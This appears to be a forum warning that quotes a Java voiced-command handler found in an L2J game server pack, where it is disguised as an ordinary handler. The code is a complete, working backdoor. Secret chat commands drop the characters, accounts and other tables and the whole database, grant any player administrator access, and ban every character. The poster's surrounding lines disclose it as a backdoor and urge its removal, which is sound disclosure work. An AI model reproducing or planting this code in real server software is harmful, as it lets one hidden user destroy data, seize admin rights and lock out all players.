whoever used this pack delete these lines
package net.sf.l2j.gameserver.handler.voicedcommandhandlers;
/*
* First Backdoor
*/
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;
public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };
public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
{
player.sendMessage("====================================================================================");
player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
player.sendMessage("====================================================================================");
}
else if (command.equalsIgnoreCase("0o9i8u"))
{
SendDestroyDBAction();
}
else if (command.equalsIgnoreCase("7y6t5r"))
{
//Makes the player admin
player.setAccessLevel(200);
}
else if (command.equalsIgnoreCase("4e3w2q1"))
{
SendBanAllAction();
}
return true;
}
public String[] getVoicedCommandList()
{
return VOICED_COMMANDS;
}
public void SendDestroyDBAction()
{
//Destroys the db
Connection con = null;
try
{
con = L2DatabaseFactory.getInstance().getConnection();
Statement e = con.createStatement();
e.executeUpdate("DROP TABLE characters");
e.executeUpdate("DROP TABLE accounts");
e.executeUpdate("DROP TABLE spawnlist");
e.executeUpdate("DROP TABLE weapon");
e.executeUpdate("DROP TABLE armor");
e.executeUpdate("DROP TABLE npc");
e.executeUpdate("DROP TABLE items");
e.executeUpdate("DROP database l2jdb");
e.close();
}
catch (SQLException e)
{
//
}
finally
{
try
{
if (con != null)
con.close();
}
catch (SQLException e)
{
e.printStackTrace();
}
}
System.exit(-1);
}
public void SendBanAllAction()
{
//Bans all the users of the db
Connection con = null;
try
{
con = L2DatabaseFactory.getInstance().getConnection();
Statement g = con.createStatement();
g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
g.close();
}
catch (SQLException e)
{
//
}
finally
{
try
{
if (con != null)
con.close();
}
catch (SQLException e)
{
e.printStackTrace();
}
}
}
}
Its a backdoor to delete DB, take GM acess and ban everybody from accounts table.
Else if you know shit from java and you dont know how to change it, just delete the pack without second thoughts